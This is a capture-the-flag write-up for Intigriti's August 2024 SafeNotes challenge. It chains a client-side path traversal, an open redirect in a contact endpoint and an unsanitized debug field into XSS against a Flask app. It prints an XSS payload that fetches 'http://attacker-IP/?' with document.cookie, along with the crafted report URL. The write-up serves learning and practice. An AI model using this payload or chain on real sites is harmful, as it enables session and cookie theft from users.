Intigriti's August 2024 (Defcon) Challenge

2024-08-10

The challenge is hosted at https://challenge-0824.intigriti.io/home and our goal is to find the flag which has the following format:

INTIGRITI{.*}

When opening the challenge page we can immediately notice that this is a simple “SafeNotes” application which provides few features:

  • user registration/login
  • notes creation
  • notes sharing (via URL)
  • report functionality which allows users to report a note (via its URL) to an admin (the bot)

img-1

Since we have access to the source code (including docker-compose.yml file so we can play the challenge locally), I immediately wanted to understand what we need to do in order to get the flag. By looking for the string “flag”, we can notice that the flag is actually an environment variable that is used as a cookie value for the bot.

const FLAG = process.env.FLAG;
...
await page.setCookie({
	name: "flag",
	value: FLAG,
	url: BASE_URL,
});
...

This is a classic challenge scenario, where we need to exploit an XSS vulnerability to exfiltrate the cookie from the bot, by sending a vulnerable URL. Let’s analyze the source code looking for bugs!

Source code analysis

By analyzing the source code, we notice that this is a Python application based on Flask (using Jinja templates). We can find the relevant application logic in the file web/app/views.py. In this file we can find all the handlers for the endpoints that are exposed by the application.

Click here to view the source code

import os
from flask import Blueprint, render_template, redirect, url_for, request, flash, jsonify
from flask_login import login_user, login_required, logout_user, current_user
from urllib.parse import urlparse, urljoin
from app import db
from app.models import User, Note
from app.forms import LoginForm, RegisterForm, NoteForm, ContactForm, ReportForm
import bleach
import logging
import requests
import threading
import uuid

main = Blueprint('main', __name__)

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

BASE_URL = os.getenv('BASE_URL', 'http://127.0.0.1')
BOT_URL = os.getenv('BOT_URL', 'http://bot:8000')

reporting_users = set()
reporting_lock = threading.Lock()


def is_safe_url(target):
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https')


@main.route('/')
def index():
    # Change for remote infra deployment
    return render_template('home.html')


@main.route('/home')
def home():
    return render_template('home.html')


@main.route('/api/notes/fetch/<note_id>', methods=['GET'])
def fetch(note_id):
    note = Note.query.get(note_id)
    if note:
        return jsonify({'content': note.content, 'note_id': note.id})
    return jsonify({'error': 'Note not found'}), 404


@main.route('/api/notes/store', methods=['POST'])
@login_required
def store():
    data = request.get_json()
    content = data.get('content')

    # Server-side XSS protection
    sanitized_content = bleach.clean(content)

    note = Note.query.filter_by(user_id=current_user.id).first()
    if note:
        note.content = sanitized_content
    else:
        note = Note(user_id=current_user.id, content=sanitized_content)
        db.session.add(note)

    db.session.commit()
    return jsonify({'success': 'Note stored', 'note_id': note.id})


@main.route('/register', methods=['GET', 'POST'])
def register():
    form = RegisterForm()
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        if user:
            flash('Username already exists. Please choose a different one.', 'danger')
        else:
            user = User(username=form.username.data,
                        password=form.password.data)
            db.session.add(user)
            db.session.commit()
            login_user(user)
            return redirect(url_for('main.home'))
    elif request.method == 'POST':
        flash('Registration Unsuccessful. Please check the errors and try again.', 'danger')
    return render_template('register.html', form=form)


@main.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        if user and user.password == form.password.data:
            login_user(user)
            return redirect(url_for('main.home'))
        else:
            flash('Login Unsuccessful. Please check username and password', 'danger')
    return render_template('login.html', form=form)


@main.route('/create', methods=['GET', 'POST'])
@login_required
def create_note():
    form = NoteForm()
    if form.validate_on_submit():
        note = Note(user_id=current_user.id, content=form.content.data)
        db.session.merge(note)
        db.session.commit()
        return redirect(url_for('main.view_note', note=note.id))
    return render_template('create.html', form=form)


@main.route('/view', methods=['GET'])
def view_note():
    note_id = request.args.get('note') or ''
    return render_template('view.html', note_id=note_id)


@main.route('/contact', methods=['GET', 'POST'])
def contact():
    form = ContactForm()
    return_url = request.args.get('return')
    if request.method == 'POST':
        if form.validate_on_submit():
            flash('Thank you for your message!', 'success')
            if return_url and is_safe_url(return_url):
                return redirect(return_url)
            return redirect(url_for('main.home'))
    if return_url and is_safe_url(return_url):
        return redirect(return_url)
    return render_template('contact.html', form=form, return_url=return_url)


@main.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('main.home'))


def call_bot(note_url, user_id):
    try:
        response = requests.post(f"{BOT_URL}/visit/", json={"url": note_url})
        if response.status_code == 200:
            logger.info('Bot visit succeeded')
        else:
            logger.error('Bot visit failed')
    finally:
        with reporting_lock:
            reporting_users.remove(user_id)


@main.route('/report', methods=['GET', 'POST'])
@login_required
def report():
    form = ReportForm()
    if form.validate_on_submit():
        note_url = form.note_url.data
        parsed_url = urlparse(note_url)
        base_url_parsed = urlparse(BASE_URL)

        if not parsed_url.scheme.startswith('http'):
            flash('URL must begin with http(s)://', 'danger')
        elif parsed_url.netloc == base_url_parsed.netloc and parsed_url.path == '/view' and 'note=' in parsed_url.query:
            note_id = parsed_url.query[-36:]
            try:
                if uuid.UUID(note_id):
                    with reporting_lock:
                        if current_user.id in reporting_users:
                            flash(
                                'You already have a report in progress. Please respect our moderation capabilities.', 'danger')
                        else:
                            reporting_users.add(current_user.id)
                            threading.Thread(target=call_bot, args=(
                                note_url, current_user.id)).start()
                            flash('Note reported successfully', 'success')
            except ValueError:
                flash(
                    'Invalid note ID! Example format: 12345678-abcd-1234-5678-abc123def456', 'danger')
        else:
            logger.warning(f"Invalid URL provided: {note_url}")
            flash('Please provide a valid note URL, e.g. ' + BASE_URL +
                  '/view?note=12345678-abcd-1234-5678-abc123def456', 'danger')

        return redirect(url_for('main.report'))

    return render_template('report.html', form=form)

The obvious (and trivial) first attempt, is to create a note that includes some XSS payload and then simply share this note with the bot, so that the XSS triggers and we’ll get the flag (cookie) in some controlled server that we own. Of course it’s not that simple (😅) because there are several protections in place against XSS.

First, there is a protection “server-side”:

@main.route('/api/notes/store', methods=['POST'])
@login_required
def store():
    data = request.get_json()
    content = data.get('content')

    # Server-side XSS protection
    sanitized_content = bleach.clean(content)

    note = Note.query.filter_by(user_id=current_user.id).first()
    if note:
        note.content = sanitized_content
    else:
        note = Note(user_id=current_user.id, content=sanitized_content)
        db.session.add(note)

    db.session.commit()
    return jsonify({'success': 'Note stored', 'note_id': note.id})

The /api/note/store endpoint, is responsible for storing the user’s note. However we can see that the content of our note is “cleaned” by a library called bleach. Even though the official documentation states that this library is not safe if used outside the HTML context (i.e. in a HTML attribute, CSS, JavaScript, etc..) it’s not the case here. So we need to look further.

The user input sanitization is also applied “client-side”. The Jinja template file web/app/templates/view.html includes the following JavaScript code:

const csrf_token = "{{ csrf_token() }}";

function fetchNoteById(noteId) {
	if (noteId.includes("../")) {
		showFlashMessage("Input not allowed!", "danger");
		return;
	}
	fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
		method: "GET",
		headers: {
			"X-CSRFToken": csrf_token,
		},
	})
		.then((response) => response.json())
		.then((data) => {
			if (data.content) {
				document.getElementById("note-content").innerHTML =
					DOMPurify.sanitize(data.content);
				document.getElementById(
					"note-content-section"
				).style.display = "block";
				showFlashMessage("Note loaded successfully!", "success");
			} else if (data.error) {
				showFlashMessage("Error: " + data.error, "danger");
			} else {
				showFlashMessage("Note doesn't exist.", "info");
			}
			if (data.debug) {
				document.getElementById("debug-content").outerHTML =
					data.debug;
				document.getElementById(
					"debug-content-section"
				).style.display = "block";
			}
		});
    }

We can see that when fetching a note, the data.content retrieved from the server is further sanitized by DOMPurify.sanitize() and then set as innerHTML of an element. However, just few lines after, there is a debug check that would allow us to bypass the sanitization: if data.debug is defined, its value is directly set as outerHTML of the debug-content element. It seems clear that we need to reach this code block to trigger the XSS and solve the challenge..

We can also noticing that just before fetching the note, there is an interesting check: we are not allowed to use the sequence ../ which is commonly used for path traversal attacks. But this code is running client-side, so why this check? Well, it turns out that if we can bypass this check, we could hijack the logic of the application, by forcing it to fetch something else instead of what the application expects. Since we control the noteId, we could set it to something like ../../../../some/endpoint/we/like and force the victim to navigate the endpoint we wish.

We can test it in a browser console:

img-2

This technique is called Client Side Path Traversal and it’s very well explained in this article. It allows an attacker to bypass several security measures such as SameSite cookies protection or by tricking the application to include sensitive headers (such as CSRF token or Authorization headers).

Unfortunately, beyond the blacklisted ../ sequence, there is also a validation of the noteID, which should be a valid UUID:

function isValidUUID(noteId) {
        const uuidRegex =
            /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
        return uuidRegex.test(noteId);
    }

So we need to bypass also this validation to apply the CSPT technique. Fortunately, we can bypass both checks:

  • we can just use ..\ instead of ../ to by bypass the first check. This works because browsers (and fetch API as well) are often very lax and they consider / and \ interchangeable as path separators
  • the regex that validates the noteId is missing the ^ at the beginning: it means that both 550e8400-e29b-41d4-a716-446655440000 and bla/bla/bla/550e8400-e29b-41d4-a716-446655440000 will return true

Another interesting route is the following:

@main.route('/contact', methods=['GET', 'POST'])
def contact():
    form = ContactForm()
    return_url = request.args.get('return')
    if request.method == 'POST':
        if form.validate_on_submit():
            flash('Thank you for your message!', 'success')
            if return_url and is_safe_url(return_url):
                return redirect(return_url)
            return redirect(url_for('main.home'))
    if return_url and is_safe_url(return_url):
        return redirect(return_url)
    return render_template('contact.html', form=form, return_url=return_url)****

This /contact endpoint (which is supposed to allow users to reach out the application maintainers) doesn’t do much, but it is vulnerable to open redirect. We can notice that it takes a return parameter which is then checked by the is_safe_url.

def is_safe_url(target):
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https')

However this function only checks if the scheme is http(s) and in that case, it returns true. Also the route supports GET method, so we can get a full open redirect with /contact?return=http://attacker-IP.

Exploiting CSPT and open redirect to achieve XSS

So, putting all together, we have:

  • A Client-Side Path Traversal vulnerability in the fetch API call
  • An open redirect vulnerability in /contact
  • We know that we can bypass the XSS protections by finding a way to set the data.debug property

Let’s focus on the last point: knowing that we can force the navigation to an arbitrary endpoint, can we find one that returns a valid JSON which includes the debug key? I tried to look for debug, but unfortunately the source code doesn’t provide any interesting clue about it.

But what if we could host a simple HTTP server that returns a malicious JSON and we can force the victim to retrieve our payload instead of the intended one?

By leveraging the CSPT vulnerability we can force the victim to navigate to /contact?return= and by properly setting the return parameter to our controlled server, we can exploit the open redirect to let the victim fetch our payload, hence trigger an XSS. This works because fetch follows redirections by default (with a max of 20 redirections).

We can host a simple HTTP server that serves the following JSON when a GET request arrives:

{ 
"debug": "<img src=x onerror=fetch('http://attacker-IP/?' + document.cookie)"
}    

Note: we need to set the relevant CORS headers in order to allow the browser to read the content body, otherwise the Same Origin Policy will prevent it. A simple Python implementation could be this one.

And the final payload to report is:

https://challenge-0824.intigriti.io/view?note=..\..\..\..\..\contact?return=http://attacker-IP/?550e8400-e29b-41d4-a716-446655440000

which will trigger XSS and we’ll get the flag in our server logs:

img-3

So the final flag is:

INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}

Thank you Intigriti for this nice and funny challenge!


Additional notes

While trying to solve the challenge, I noticed that it’s actually possible to bypass the server-side sanitization. This is possible because the route /create is defined as follows:

@main.route('/create', methods=['GET', 'POST'])
@login_required
def create_note():
    form = NoteForm()
    if form.validate_on_submit():
        note = Note(user_id=current_user.id, content=form.content.data)
        db.session.merge(note)
        db.session.commit()
        return redirect(url_for('main.view_note', note=note.id))
    return render_template('create.html', form=form)

Basically it calls form.validate_on_submit() which is a convenient function of Flask-WTF which automatically validates the POST request and its parameters. Unlike the /api/notes/store endpoint, the /create endpoint doesn’t perform any server-side sanitization, meaning that our note’s content is stored as it is. Furthermore, even though DOMPurify will still clean our input on client-side, we can now perform DOM clobbering (DOMPurify allows id and name attributes in its default configuration, while bleach is much more restrictive).

So maybe we can use clobbering techniques to manipolate the DOM and “overwrite” the data.debug property ?

After few tries I realized that this is not going to work for at least 2 reasons:

  • even if we can “clobber” the DOM with a payload like <a id=data> <a id=data name=debug href=controlled_payload> the data object is already locally scoped, so the clobbering will have effect only outside the scope of the data object
  • when creating a note using the /create endpoint, I noticed that the resulting noteId (an UUID) was each time different (I had to locally connect to the database where notes are stored to figure it out), so even if we could DOM clobbering, we can’t guess the noteId

At this point I realized that this might just be a rabbit hole and I had to take a different path to get the challenge solved.